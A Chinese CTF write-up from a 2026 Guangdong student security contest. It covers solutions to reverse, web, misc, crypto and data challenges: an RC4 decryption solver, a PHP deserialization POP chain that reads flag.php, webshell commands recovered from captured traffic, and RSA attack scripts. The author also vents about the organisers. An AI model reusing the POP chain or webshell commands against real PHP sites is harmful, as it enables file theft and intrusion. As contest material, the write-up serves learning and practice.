霍雅
2026年广东省大学生计算机设计大赛“网络与数据安全挑战赛” 决赛广东职业技术学院wp
解题情况
Reverse
MySignature_1
把反调试nop掉
直接ponce模拟执行
Ponce是一个ida插件的模拟执行框架,类似于插件版的angr
Reverse2(赛后)
这题比赛时候没时间写,比赛分析了个大概
主要是才100分,不太划算
以下分析为赛事时分析,直到出现赛后才是赛后分析
做ah的题,可以直接搜索tls 绝大多数情况下都会有
然后就是无聊的花指令
xor eax eax
jz +2
这种
tls里面有个反调试,如果在调试中秘钥会被替换成xixixx
理论上到这里我patch能直接模拟执行秒,不知道为什么模拟执行给我的是无解
然后我去分析了一下是个rc4,用了常规rc4方法就没继续看了
他这里还有个类似于cannry,乱patch会导致堆栈不平衡
所以我们改cmp eax ,0就可以了
看main可以看到
校验长度和flag头以及密文
算法是rc4
这个当时我看了一眼是随机数算法
但是他并不是伪随机我就当时没管,以为是和cannry一样的什么初始化
我还特意看了一下这个dword的前几个函数都是本函数
没仔细看最后一个
所以边分析边改名是好习惯
当时就做到这里
这以下是赛后分析
mlgb,傻逼题,和tm去年的一样傻逼题
这个随机数影响rc4的key
而且这个随机数是真随机数,所以我模拟执行才无解,
你必须程序check的时候随机数刚好一样,才能check正确
我们分析rc4的魔改点,把xor魔改成+=
同时去xor了一个dword_E5A1B0[i % 6]
ksa并没有魔改
所以我们可以先生成一个ksa然后去和DASCTF去相减
再通过xor ksa得到dword_E5A1B0
因为函数原型直接c的,所以用c写会更方便
调试了一段时间,垃圾代码没有删除
凑合看吧
#include <stdio.h>
#include <windows.h>
#include <time.h>
#include <utility>
#include <algorithm>
#include <stdint.h>
#include <stdlib.h>
int dword_E5A1B0[6];
int dword_E5A158[21];
int dword_E5A008[4];
unsigned int Seed=0;
char Destination[] = "DASCTF";
// attributes: thunk
__time64_t __cdecl time64_w(__time64_t* Time)
{
return _time64(Time);
}
// attributes: thunk
int __cdecl rc4dec(char* Str, int n44, uint8_t* a3)
{
int result; // eax
int i; // [esp+10h] [ebp-Ch]
int v5; // [esp+14h] [ebp-8h]
int v6; // [esp+18h] [ebp-4h]
v6 = 0;
v5 = 0;
result = 0xCCCCCCCC;
for (i = 0; i < n44; ++i)
{
v6 = (v6 + 1) % 256;
v5 = (v5 + a3[v6]) % 256;
std::swap<uint8_t>(a3[v6], a3[v5]);
Str[i] -= LOBYTE(dword_E5A1B0[i % 6]) ^ a3[(a3[v5] + a3[v6]) % 256];
result = i + 1;
}
return result;
}
int __cdecl j_T_000_sub_3318A0(char* Str, int n44, BYTE* a3)
{
return rc4dec(Str, n44, a3);
}
int sub_E515E0()
{
int result; // eax
int v2; // [esp+14h] [ebp-20h]
int i; // [esp+18h] [ebp-1Ch]
int j; // [esp+1Ch] [ebp-18h]
int v5; // [esp+20h] [ebp-14h]
int v6; // [esp+24h] [ebp-10h]
int k; // [esp+28h] [ebp-Ch]
int v8; // [esp+2Ch] [ebp-8h]
v2 = 0;
dword_E5A1B0[0] = 22;
for (i = 1; i <= 20; ++i)
{
dword_E5A158[i] = dword_E5A008[i % 4] + Seed;
if (v2 > dword_E5A158[i])
v8 = v2;
else
v8 = dword_E5A158[i];
v2 = v8;
}
result = Seed;
for (j = 0; j < 6; ++j)
{
v5 = 0;
v6 = Seed;
for (k = 0; k <= 20; ++k)
{
if (dword_E5A158[k] >= 0)
{
v5 = dword_E5A158[k];
break;
}
}
result = (20 * dword_E5A1B0[j] + v5 + v6 + 3 * j) % 32;
dword_E5A1B0[j] = result;
} Seed += 1;
return result;
}
int sub_E51064(void)
{
return sub_E515E0();
}
// attributes: thunk
int __cdecl sub_E517D0(char* xixixx, int n6, uint8_t* a3)
{
int result; // eax
int v4; // [esp+Ch] [ebp-8h]
int i; // [esp+10h] [ebp-4h]
int j; // [esp+10h] [ebp-4h]
v4 = 0;
for (i = 0; i < 256; ++i)
{
a3[i] = i;
result = i + 1;
}
for (j = 0; j < 256; ++j)
{
v4 = (xixixx[j % n6] + v4 + a3[j]) % 256;
std::swap<uint8_t>(a3[j], a3[v4]);
result = j + 1;
}
return result;
}
int __cdecl sub_E5119F(char* xixixx, int n6, BYTE* a3)
{
return sub_E517D0(xixixx, n6, a3);
}
int __cdecl main(int argc, const char** argv, const char** envp)
{
char v4; // [esp+0h] [ebp-224h]
char v5; // [esp+0h] [ebp-224h]
int i; // [esp+Ch] [ebp-218h]
BYTE v7[260]; // [esp+14h] [ebp-210h] BYREF
BYTE v9[52]; // [esp+120h] [ebp-104h]
char Str[204]; // [esp+154h] [ebp-D0h] BYREF
sub_E51064();
v9[0] = 13;
v9[1] = -41;
v9[2] = -5;
v9[3] = 5;
v9[4] = -32;
v9[5] = -18;
v9[6] = 13;
v9[7] = -105;
v9[8] = -92;
v9[9] = -17;
v9[10] = 96;
v9[11] = 20;
v9[12] = -29;
v9[13] = -96;
v9[14] = 41;
v9[15] = -117;
v9[16] = 74;
v9[17] = 55;
v9[18] = -20;
v9[19] = 83;
v9[20] = -66;
v9[21] = -48;
v9[22] = -46;
v9[23] = -8;
v9[24] = -83;
v9[25] = 19;
v9[26] = 96;
v9[27] = -89;
v9[28] = -58;
v9[29] = -60;
v9[30] = 96;
v9[31] = 113;
v9[32] = -43;
v9[33] = 85;
v9[34] = 113;
v9[35] = 19;
v9[36] = 62;
v9[37] = -1;
v9[38] = 29;
v9[39] = -6;
v9[40] = 18;
v9[41] = 0x80;
v9[42] = -29;
v9[43] = 41;
uint8_t S[256];
sub_E517D0(Destination, 6, S);
int j = 0;
i = 0;
uint8_t keystream[44];
for (int k = 0; k < 44; ++k) {
i = (i + 1) % 256;
j = (j + S[i]) % 256;
std::swap(S[i], S[j]);
keystream[k] = S[(S[i] + S[j]) % 256];
}
char P[] = "DASCTF";
for (int k = 0; k < 6; ++k) {
int diff = (v9[k] - P[k]) & 0xFF;
dword_E5A1B0[k] = diff ^ keystream[k];
}
sub_E517D0(Destination, 6, S);
rc4dec((char*)v9, 44, S);
for (int k = 0; k < 44; ++k)
printf("%c", v9[k]);
printf("\n");
}主要是真没时间,除了web都是我一个人打的,好久没打ctf手生了
Web
1.Code share
签到题
Ctrl+u就有flag
2.Pooop
很简单的php反序列化
打开题目能看到源码,复制到本地进行调试
有三个类,FileReader,DataProcessor,OutPutHandler
首先FileReader里面写了一个read方法,判断文件是否存在,存在则读取并且输出但是这个方法不会自动调用,继续找利用点在DataProcessor可以发现有个process方法,DataProcessor的成员变量reader的read方法,是Public,可控,传入FileReader作为reader的值,即可调用FileReader的read,再继续找哪里调用了process
在DataProcessor的__tostring有发现调用,__tostring是一个魔术方法,在对象当作字符串输出时会触发调用,接下来找一个输出点即可,把DataProcessor对象作为输出内容即可往下找到OutPutHandler,发现有个render方法进行了输出输出的内容是processor,一个public的成员变量
创建一个DataProcessor的对象传入即可,触发输出(__tostring调用)
再往下可以发现__destruct调用render,__destruct在程序结束时会自动调用
由此形成闭环
__destruct调用render,render触发__tostring调用process,process调用read,read读取flag.php以下是POC脚本
<?php
//flag in flag.php
class FileReader {
public $filename;
public $content;
public function __construct($filename = '') {
$this->filename = $filename;
$this->content = '';
}
public function read() {
if (file_exists($this->filename)) {
$this->content = file_get_contents($this->filename);
echo $this->content;
return $this->content;
}
return null;
}
public function __toString() {
return $this->content;
}
}
class DataProcessor {
public $reader;
public $data;
public function __construct($reader = null, $data = null) {
$this->reader = $reader;
$this->data = $data;
}
public function process() {
if ($this->reader !== null && method_exists($this->reader, 'read')) {
return $this->reader->read();
}
return null;
}
public function __toString() {
return $this->process();
}
}
class OutputHandler {
public $processor;
public $format;
public function __construct($processor = null, $format = 'text') {
$this->processor = $processor;
$this->format = $format;
}
public function render() {
if ($this->processor === null) {
return '';
}
$output = $this->processor;
if ($this->format === 'html') {
return '<pre>' . htmlspecialchars($output) . '</pre>';
}
return $output;
}
public function __destruct() {
$this->render();
}
}
$FR=new FileReader('flag.php');
$DP=new DataProcessor($FR,123);
$OH=new OutputHandler($DP,'html');
$a=serialize($OH);
echo $a;
unserialize($a);
?>反序列化后,Flag需要ctrl+u查看源代码得到
Misc
1.easyResQ
使用流量分析工具
打开发现是base64,很明显的zmxh
整理一下
2. Protocol _decryption
请求http返回了一些文件
其中有个pyc
pyc用pycdc.exe解码
可以发现是base64换表
命令执行的包
有cat flag
Crypto
ez_stream
flag = [164, 34, 242, 5, 234, 79, 16, 182, 136, 117, 78, 78, 71, 168, 72, 79, 53, 114, 117]
t = flag
N,K,S=[256,[0]*256],[0]*256,[i for i in range(256)]
key='love'
for i in range(256):S[i],K[i]=i,ord(key[i%len(key)])
j=0
for i in range(256):j=(j+S[i]+K[i])%256;S[i],S[j]=S[j],S[i]
i,j=0,0
for k in range(len(t)):i=(i+1)%256;j=(j+S[i])%256;S[i],S[j]=S[j],S[i];t[k]^=S[(S[i]+S[j])%256]
print(t)
# [68, 65, 83, 67, 84, 70, 123, 114, 99, 52, 95, 105, 115, 95, 101, 97, 115, 121, 125]rc4直接用原始算法
解出是hex,直接随波逐流懒得写代码 了
crypto-rsa-1-2
e很小,低加密指数攻击
直接上板子
import gmpy2
import libnum
def de(c, e, n):
k = 0
while True:
mm = c + n*k
result, flag = gmpy2.iroot(mm, e)
if True == flag:
return result
k += 1
n= 1663290343494312556112418462597847770061332350523963564746495559626173161932723449333563945952280717524676578094635165194580132029080250218623035399460235342948238043471364469219928953249338677496747894434531246990952432429197970007988580154412994124146386101179611701791372576016234209885760923171749240891018761513156628357220900588459732582388377175561071270076399255456612578093404862456430272609443288212567765928359236213481454897614843403268663001726211649329165743596820852016929243464321459690931631007775858123487633037117704696486765217613485834828940395472342488273946113373733815665232562823134641821644
e= 2
c= 324331018188050785918794702679073305540310710315310662435718335809366720010036445669472655302907459037241268692174998551977728126500276127009526962139033582297480329196939696870501732148829961
m=de(c,e,n)
print(m)
print(libnum.n2s(int(m)).decode())3 double_rsa
ai一把梭
import gmpy2
from Crypto.Util.number import long_to_bytes
# Replace the following with actual values from the challenge
h = 1566397295726868236680127094558421915922609098505633279956561683832140276425238866433651652263267114738401774583956607018494311353792263960578147268690081
c1 = 27616760162776416376130496423997060022002165854427524750037188703231493307084879864999388077770807485177868133630205282924481293736553933973087934695106741324652414369733265200316336559459733709171669677482773580621547116542187614867895207365453237853065568205249521432423262843210490077299614077455129123821
n1 = 70364492958500934564709252179442778535944630133302237568467411163045596849268079579170556114618287334631180126894362319694261559971515738948281518543001384960734818061314559349061634013646409419783324181328293294032693017638487949828832208453863779931215049814543810158832668665332466352086337247237398849521
phi = 94802294231139368727716531558110188865163759023536869658928787696189365967719682935307617431279098503316095619109566259791128780519814314993436600930598953771094468286040248139047912432719098191845380313202371580686318981665385778714665144378780670441452614601524067996744523499554713221036313581960340625632
c2 = 225860282488173774474595989146691098438025146184385263922066080932645975599559469503633053391610350368440816235987719013835434008692446096354441161481854673953069041530930388942140014226757200401048887356470594465487864994123863371857018160807936078688927250084929372852171566778270607022794147915231822240
n2 = 94802294231139368727716531558110188865163759023536869658928787696189365967719682935307617431279098503316095619109566259791128780519814314993436600930598973917329472874409508654971604553800097247624068572480068862257498098997383494654776604434162358604369776390041482534302524297592607257080417555770594967231
# First part: factor n1
D = (h - 1)**2 + 4 * n1
sqrtD = gmpy2.isqrt(D)
# The problem guarantees D is a perfect square, so no adjustment needed
q1 = (1 - h + sqrtD) // 2
p1 = n1 // q1
phi1 = (p1 - 1) * (q1 - 1)
d1 = gmpy2.invert(65537, phi1)
m1 = pow(c1, d1, n1)
m1_bytes = long_to_bytes(m1)
# Second part: factor n2
sum_pq = n2 + 1 - phi
discriminant = sum_pq**2 - 4 * n2
sqrt_disc = gmpy2.isqrt(discriminant)
p2 = (sum_pq - sqrt_disc) // 2
q2 = (sum_pq + sqrt_disc) // 2
# Find e2 as the previous prime of q2
def prev_prime(n):
while True:
n -= 1
if gmpy2.is_prime(n):
return n
e2 = prev_prime(q2)
d2 = gmpy2.invert(e2, phi)
m2 = pow(c2, d2, n2)
m2_bytes = long_to_bytes(m2)
# Combine m1 (first half) and m2 (second half) to form the flag
flag = m1_bytes + m2_bytes
print(flag)DS
dataTypeV
import sqlite3
import csv
import re
def classify_value(value):
"""根据规则判断字符串类型(name, phone, idcard, email)"""
s = str(value).strip()
if not s:
return None
# 1. 身份证号 (18位,前17位数字,最后1位数字或X)
if len(s) == 18 and s[:17].isdigit() and (s[17].isdigit() or s[17].upper() == 'X'):
return 'idcard'
# 2. 手机号 (11位纯数字)
if len(s) == 11 and s.isdigit():
return 'phone'
# 3. 邮箱 (包含@且@后有.,格式如 [email protected])
if '@' in s and '.' in s and s.index('@') > 0 and s.index('@') < len(s) - 1:
domain_part = s[s.index('@')+1:]
if '.' in domain_part and domain_part.index('.') > 0:
return 'email'
# 4. 姓名 (2-4个中文字符,不包含特殊符号)
if 2 <= len(s) <= 4 and re.search(r'[\u4e00-\u9fa5]', s):
return 'name'
return None
def main():
# 连接数据库
conn = sqlite3.connect('data.db')
cursor = conn.cursor()
# 获取所有表名
cursor.execute("SELECT name FROM sqlite_master WHERE type='table';")
tables = [table[0] for table in cursor.fetchall()]
results = []
# 遍历所有表
for table in tables:
# 获取表列信息
cursor.execute(f"PRAGMA table_info({table});")
columns = [col[1] for col in cursor.fetchall()]
# 遍历所有列
for col in columns:
# 查询该列所有非空值
cursor.execute(f"SELECT {col} FROM {table} WHERE {col} IS NOT NULL;")
for row in cursor.fetchall():
value = row[0]
# 尝试分类
typ = classify_value(value)
if typ:
results.append((typ, str(value)))
# 保存到CSV
with open('result.csv', 'w', newline='', encoding='utf-8') as f:
writer = csv.writer(f)
writer.writerow(['type', 'value'])
writer.writerows(results)
print("分类完成,结果已保存至 result.csv")
if __name__ == "__main__":
main()easyEzdata(赛后)
第一个包可以看到substr 2
也就是把这个对应参数的base64前两位去掉
msL3Zhci93d3cvaHRtbC91cGxvYWQv变成L3Zhci93d3cvaHRtbC91cGxvYWQv
然后三个包
很明显的zip开头
接下来两个包拼接合并即可
接下来的包直接看关键的,看他返回的是什么
这个包出现了一个png
解出来是
cd "/var/www/html/upload";unzip 1.zip;echo [S];pwd;echo [E]
下一个包就是密码
结语
最后我想说的是,这次比赛真是人才辈出,我很欣慰广东能有那么多的高手,最后我们的分数是802分,全程断网打的,4个小时包括写wp的时间,最后我们的排名是16名,二等第一,虽然我们确实打的很烂。
然后我们学校第二队500多分只比我们落后四名,组委会给我们的解释是说,这次比赛断层很严重,大部分人都是800多分,第一名1000多分,第二名是900多分,剩下的就是500然后300这样
比赛过程中,组委会三次干扰我
第一次怀疑我出网
然后紧接着站我后面没多久查我电脑,查看浏览器、网卡、wifi之类的
第三次大概隔了20分钟问我是不是使用本地大模型,我说是的,他说他要拍个照问一下能不能用
后面好像派了个志愿者在后面看着我,具体我没注意,只是有人走到我们后面就没有走开,我没认真去看,因为时间很赶,我们是坐在最后
比赛过程中是开了屏蔽器的,我的无线鼠标是卡的,用的有线。
是的,我们赛场只干扰了我们,比我们成绩高的没有去干扰
对了,比赛全程是黑盒的,只能看到自己的分数,看不到排名,也看不到别人的提交情况
最后宣传一下自己的POFP联队吧,如果有想加入的,可以发邮件[email protected]
